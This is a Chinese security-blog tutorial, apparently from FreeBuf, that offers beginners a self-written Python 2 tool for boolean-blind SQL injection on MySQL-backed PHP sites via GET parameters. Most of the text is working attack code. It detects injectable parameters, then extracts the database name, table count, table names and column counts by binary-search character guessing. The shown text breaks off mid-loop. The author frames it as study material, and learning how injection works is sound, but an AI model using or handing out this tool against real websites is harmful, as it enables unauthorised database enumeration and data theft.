0×01 前言
我想在FreeBuf上出没的人一般都是安全行业的，或者说是安全方面的爱好者，所以大家对sql注入应该都比较了解，反正我刚入门的时候就是学的这些：sql注入、xss之类的。sql注入从出现到现在也十多年了，但是一直都在owasp top10中有一席之地，原因之一就是sql注入的门槛低危害高，攻击者不需要带计算机知识、网络知识有什么太深的了解，甚至是都不需要了解，只要知道几条sql语句和那几种数据库的不同结构就可以发起攻击，而造成的伤害确实非常非常高的。
大型的网站已经很少有sql注入漏洞了，但是对于那些开发和防护都不太过关的小网站却还经常会存在sql注入漏洞，毕竟百密一疏，只要有一个注入点就可以遍历整个数据库。我本人对sql注入技术其实不是很感兴趣，而且我sql注入的水平也比较的low，这篇文章呢主要目的是帮助刚刚踏入安全界或者说是想要从事安全工作的新手们学习sql注入知识而写的，自己手写一个注入工具能让你更好的熟悉注入的原理和过程，这篇文中文字将比较少，代码占大部分，代码我也大多加了注释比较容易看懂。
0×02 注入工具的运行环境
运行环境：windows7/8/10 +python 2.7
存在sql注入漏洞环境：PHP+mysql
sql注入类型：盲注
主要的思路：判断url有无注入漏洞→若有漏洞用户决定是否继续注入→猜解数据库名长度→猜解数据库名→猜解数据库中表个数→猜解每个表的长度与表名→根据表名查看表中内容
0×03 代码不足之处
1. 在这里我只写了对于mysql的盲注利用工具，所以对mssql、oracle等其他数据库基本是不好使，本来我是想把这两个也加进去的，但是我精力有限就没有继续完善
2. 这个工具呢实际应用作用不大，适用范围比较小，只适合新手学习用，原因就是因为后面的注入语句没有跟前面的判断语句做动态的关联，而是直接写死的，这就造成了有的环境下不好用，我是没精力改写了，喜欢玩的就下面这个段代码改改，就能适应更多环境更多种类的数据库了。
3. 这个工具呢只能应用于GET提交数据的网站，post的原理一样，只是还没写上呢……
0×04 代码详情
#!/usr/bin/python
#-*- coding: UTF-8 -*-
import httplib
import urllib
def sqlscan():
while 1:
ture=('+and+5=5',' and 2=2')#这里是判断有无注入的语句
false=('+and+5=6',' and 2=3')
url=raw_input("输入源url：")
if url.find('http://')!= -1: #看有没有http://有的话删除
url=url.lstrip('http://') #删除http://
a=url.find('/') #找/分割主机和资源名
print a
host=url[:a] #/前的是主机名
path=url[a:] #后面是资源名
conn=httplib.HTTPConnection(host,80) #与主机建立一个http连接
in_p=path.find('$') #查找注入点的位置
i=0
len_x=0
while (len_x<10)and(i<len(ture)):
#path_ture=path[:in_p-1]+ture[i]+path[in_p:] #组合注入语句
#path_false=path[:in_p-1]+false[i]+path[in_p:] #组合错误的注入语句
path_ture=path.replace('$',urllib.quote(ture[i])) #用判断注入的语句替换$
path_false=path.replace('$',urllib.quote(false[i]))
conn=httplib.HTTPConnection(host,80)
conn.request('GET',path_ture) #以get方式请求
res_ture=conn.getresponse()
len_ture=len(res_ture.read()) #计算返回信息的长度
print "len_ture:",len_ture
#body_ture=res_ture.read()
#print body_ture
conn=httplib.HTTPConnection(host,80)
conn.request('GET',path_false)#同上
res_false=conn.getresponse()
len_false=len(res_false.read())
print "len_false:",len_false
len_x=abs(len_ture-len_false)
i+=1
if len_x>10:
s1= "$处存在sql注入漏洞"
print s1.decode('utf-8')
d=raw_input("是否尝试注入Y/N: ")
if d=='N':
break
elif d=='Y':
sqlin(host,path,conn,len_ture)
if len_x<=10:
s= "貌似没有sql注入漏洞"
print s.decode('utf-8')
continue
def sqlin(host,path,conn,len_ture):
num=0
while num < 50:
sqli_database_len=' and length(database())>'+str(num)#组合注入语句，猜数据库名字长度，改进的话应该在这把注入语句 #跟前面的判断注入语句关联
path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
#print path_sqli
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
#print diff
if diff > 10: #条件长度差大于10即认为不同
database_len=num
print "数据库名长度：",database_len
break
num+=1
'''
num_1=1
database_name=[]
while num_1<=database_len:
for i in range(33,127):
sqli_database_name=' and ord(mid(database(),'+str(num_1)+',1))>'+str(i)
path_sqli=path.replace('$',urllib.quote(sqli_database_name))
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff > 10: #条件长度差大于10即认为不同
database_name.append(chr(i))
break
num_1+=1
'''
num_1=1
database_name=[]
while num_1<=database_len:#猜数据库名
min_num=33
max_num=127
while 1:#二分法猜字段
num_2=(min_num+max_num)/2
sqli_database_name=' and ord(mid(database(),'+str(num_1)+',1))>'+str(num_2)
path_sqli=path.replace('$',urllib.quote(sqli_database_name))
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff<10:
min_num=num_2
else:
max_num=num_2
if max_num-min_num==1:
database_name.append(chr(max_num))
break
#print 'min_num:',min_num
#print 'max_num:',max_num
num_1+=1
database_name_1=( ''.join(database_name))
print "数据库名：",database_name_1
num_3=0
while num_3 < 100:
sqli_database_len=' and (select count(table_name) from information_schema.tables where table_schema=database())>'+str(num_3)#组合注入语句，猜数据库表个数
path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
#print path_sqli
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
#print diff
if diff > 10: #条件长度差大于10即认为不正确
database_len=num_3
print "数据库中表的个数：",database_len
break
num_3+=1
#'''
num_4=0
while num_4<database_len:
num_5=0
while num_5<50:#猜解表名长度
sqli_database_len=' and (select length(table_name) from information_schema.tables where table_schema=database() limit '+str(num_4)+',1)>'+str(num_5)#组合注入语句，猜数据库表个数
path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff > 10: #条件长度差小于10即认为正确
table_NO=num_4+1
table_len=num_5
#print "数据库中第",table_NO,"个表的长度：",table_len
break
num_5+=1
num_6=1
table_name=[]
tables=[]
while num_6<=table_len:#猜解数据库表名
min_num=33
max_num=127
while 1:#二分法猜字段，二分法比一个一个猜快很多
num_7=(min_num+max_num)/2
sqli_database_name=' and ord(mid((select table_name from information_schema.tables where table_schema=database() limit '+str(num_4)+',1),'+str(num_6)+',1))>'+str(num_7)
path_sqli=path.replace('$',urllib.quote(sqli_database_name))
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff<10:
min_num=num_7
else:
max_num=num_7
if max_num-min_num==1:
table_name.append(chr(max_num))
break
#print 'min_num:',min_num
#print 'max_num:',max_num
num_6+=1
table_name_1=( ''.join(table_name))
tables.append(table_name_1)
print "数据库中第",table_NO,"个表的长度：",table_len," 表名：",table_name_1
num_4+=1
while 1:
table_name_2=raw_input("输入要查看的表名：") #根据上面猜解出来的表名来查看各个表的详细情况
num_7=0
column_num=0
while num_7<100:#猜解表中有多少列,我猜应该不会超过100列吧，这里可以改
sqli_database_len=' and (select count(column_name) from information_schema.columns where table_name="'+table_name_2+'")>'+str(num_7)
#组合注入语句，表中列的个数，注意有的地方表名需要单引号‘’，在这里需要双引号“”
path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read())